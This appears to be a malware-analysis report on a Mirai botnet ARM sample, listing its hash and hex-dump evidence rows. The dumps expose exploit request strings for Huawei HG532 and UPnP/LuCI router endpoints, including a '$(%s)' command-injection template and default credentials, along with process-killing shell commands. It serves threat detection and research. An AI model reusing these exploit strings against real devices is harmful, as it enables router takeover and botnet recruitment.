Hostile ^100% Download

vcimanagement.arm6

Mirai botnet exploit kit

ELF downloads and executes a raw-IP payload through fallback clientsHuawei HG532 exploit with campaign marker

SHA-25637e469235a85a766455ecd194b99e64cb6b2b2cf12bda2add216d6e233bda725

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK₃(Mc₂LiTe)O₇(C₇La₃AsI₄P₃DyXe)H₅(Cm₂₈F₁₁Po₈Db₄Os₆)Md₆(ArBi₃BkHe)Th

Evidence

ARM direct read(2) syscall 0x146c8–0x14858

⋯7 more rows
0x147380000e0e38040bde81eff2fe180402de9.....@..../..@-.
0x147480370a0e3000000ef010a70e30070a0e1.p........p..p..
0x147580000a0910300009a1b0200eb003067e2.............0g.
0x14768003080e50000e0e38040bde81eff2fe1.0.......@..../.
0x1477880402de9a070a0e3000000ef010a70e3[email protected].
0x147880070a0e10000a0910300009a0e0200eb.p..............
0x14798003067e2003080e50000e0e38040bde8.0g..0.......@..
0x147a81eff2fe180402de92570a0e3000000ef../..@-.%p......
0x147b8010a70e30070a0e10300009a020200eb..p..p..........
0x147c8003067e2003080e50070e0e30700a0e1.0g..0...p......
0x147d88040bde81eff2fe180402de94e70a0e3.@..../[email protected]..
⋯8 more rows

ARM direct write(2) syscall 0x14870–0x14a00

⋯7 more rows
0x148e08040bde80cd08de21eff2fe180402de9.@......../..@-.
0x148f00470a0e3000000ef010a70e30070a0e1.p........p..p..
0x149000000a0910300009ab10100eb003067e2.............0g.
0x14910003080e50000e0e38040bde81eff2fe1.0.......@..../.
⋯15 more rows

Huawei gateway digest auth 0x27f14–0x28204

⋯3 more rows
0x27f443c2f733a456e76656c6f70653e000000</s:Envelope>...
0x27f54504f5354202f70696373646573632e78POST /picsdesc.x
0x27f646d6c20485454502f312e310d0a486f73ml HTTP/1.1..Hos
0x27f74743a203132372e302e302e313a353238t: 127.0.0.1:528
0x27f8436390d0a436f6e74656e742d5479706569..Content-Type
0x27f943a20746578742f786d6c0d0a534f4150: text/xml..SOAP
0x27fa4416374696f6e3a2075726e3a73636865Action: urn:sche
0x27fb46d61732d75706e702d6f72673a736572mas-upnp-org:ser
0x27fc4766963653a57414e4950436f6e6e6563vice:WANIPConnec
0x27fd474696f6e3a3123416464506f72744d61tion:1#AddPortMa
0x27fe47070696e670d0a436f6e74656e742d4cpping..Content-L
0x27ff4656e6774683a2025640d0a0d0a257300ength: %d....%s.
0x280046f7065726174696f6e3d777269746526operation=write&
0x28014636f756e7472793d2428257329000000country=$(%s)...
0x28024504f5354202f6367692d62696e2f6c75POST /cgi-bin/lu
0x2803463692f3b73746f6b3d2f6c6f63616c65ci/;stok=/locale
0x280443f666f726d3d636f756e747279204854?form=country HT
0x2805454502f312e310d0a486f73743a203132TP/1.1..Host: 12
0x28064372e302e302e310d0a436f6e74656e747.0.0.1..Content
0x280742d547970653a206170706c6963617469-Type: applicati
0x280846f6e2f782d7777772d666f726d2d7572on/x-www-form-ur
0x280946c656e636f6465640d0a436f6e74656elencoded..Conten
0x280a4742d4c656e6774683a2025640d0a436ft-Length: %d..Co
0x280b46e6e656374696f6e3a20636c6f73650dnnection: close.
0x280c40a0d0a2573000000617375730069716f...%s...asus.iqo
0x280d47300257300000000504f5354202f6374s.%s....POST /ct
0x280e4726c742f446576696365557067726164rlt/DeviceUpgrad
0x280f4655f3120485454502f312e310d0a436fe_1 HTTP/1.1..Co
0x281046e74656e742d4c656e6774683a203433ntent-Length: 43
0x28114300d0a436f6e6e656374696f6e3a206b0..Connection: k
0x281246565702d616c6976650d0a4163636570eep-alive..Accep
0x28134743a202a2f2a0d0a417574686f72697at: */*..Authoriz
0x281446174696f6e3a20446967657374207573ation: Digest us
0x2815465726e616d653d2264736c662d636f6eername="dslf-con
0x28164666967222c207265616c6d3d22487561fig", realm="Hua
0x28174776569486f6d6547617465776179222cweiHomeGateway",
0x28184206e6f6e63653d223838363435636566 nonce="88645cef
⋯8 more rows

Mirai credential variant (7ujMko0admin) 0x288fc–0x28b0c

⋯3 more rows
0x2892c20323e2f6465762f6e756c6c00000000 2>/dev/null....
0x2893c6b696c6c616c6c202d39206175746f5fkillall -9 auto_
0x2894c75706461746520323e2f6465762f6e75update 2>/dev/nu
0x2895c6c6c3b20726d202d66202f7573722f62ll; rm -f /usr/b
0x2896c696e2f6175746f5f7570646174652032in/auto_update 2
0x2897c3e2f6465762f6e756c6c00002f757372>/dev/null../usr
⋯10 more rows
0x28a2c233b2630000000003530393d3a000000#;&0....509=:...
0x28a3c223d2e2c22000000272124243b262000"=.,"...'!$$;& .
0x28a4c63213e193f3b643530393d3a00000000c!>.?;d509=:....
0x28a5c65666760610000002127312600000000efg`a...!'1&....
⋯11 more rows

Mirai credential variant (oelinux123) 0x28b84–0x28e74

⋯5 more rows
0x28bd43538243d3a3100002024383d3a3f000058$=:1.. $8=:?..
0x28be43b31383d3a212c656667000035096566;18=:!,efg..5.ef
0x28bf4676061003530393d3a65666700000000g`a.509=:efg....
0x28c04626262626262000020203a3120000000bbbbbb..  :1 ...
0x28c14363e66666466000020313831373b39356>ffdf.. 1817;95
0x28c2430393d3a000000003530393d3a20313809=:....509=: 18
0x28c3431373b3900000000212731266566676017;9....!'1&efg`
⋯4 more rows
0x28c84263d3b00243d00002635272436312626&=;.$=..&5'$61&&
0x28c942d00000026352724363126262d263527-...&5'$61&&-&5'
0x28ca424363126262d6d6d6767656500000000$61&&-mmggee....
0x28cb420312720000000003b26353738310000 1' ....;&5781..
⋯10 more rows
0x28d64fffa1f00500018fff0fffb1f55ef0000....P.......U...
0x28d7453ea00001d3a32313720313074162d74S....:217 10t.-t
0x28d841721382054000000273c313838540000.!8 T...'<188T..
0x28d94313a353638315400272d2720313954001:5681T.'-' 19T.
0x28da4273c54007b363d3a7b3621272d363b2c'<T.{6=:{6!'-6;,
0x28db474172138205400001e1b071c1b6e7435t.!8 T.......nt5
0x28dc42424383120743a3b2074323b213a3054$$81 t:; t2;!:0T
0x28dd4000000003a373b262631372054000000....:7;&&17 T...
0x28de47b363d3a7b3621272d363b2c74242754{6=:{6!'-6;,t$'T
0x28df4000000007b363d3a7b3621272d363b2c....{6=:{6!'-6;,
0x28e04743f3d383874796d745400007b24263bt?=88tymtT..{$&;
0x28e14377b54007b312c31540000007b3230547{T.{1,1T...{20T
0x28e24000000007b393524275400007b24263b....{95$'T..{$&;
0x28e34377b3a31207b2037245400007b2720357{:1 { 7$T..{' 5
0x28e4420212754000000007a353a3d39315400 !'T....z5:=91T.
0x28e547b24263b377b3a31207b263b21203154{$&;7{:1 {&;! 1T
0x28e6400000000352727233b26305400000000....5''#;&0T....
0x28e747b3120377b2631273b38227a373b3a32{1 7{&1';8"z7;:2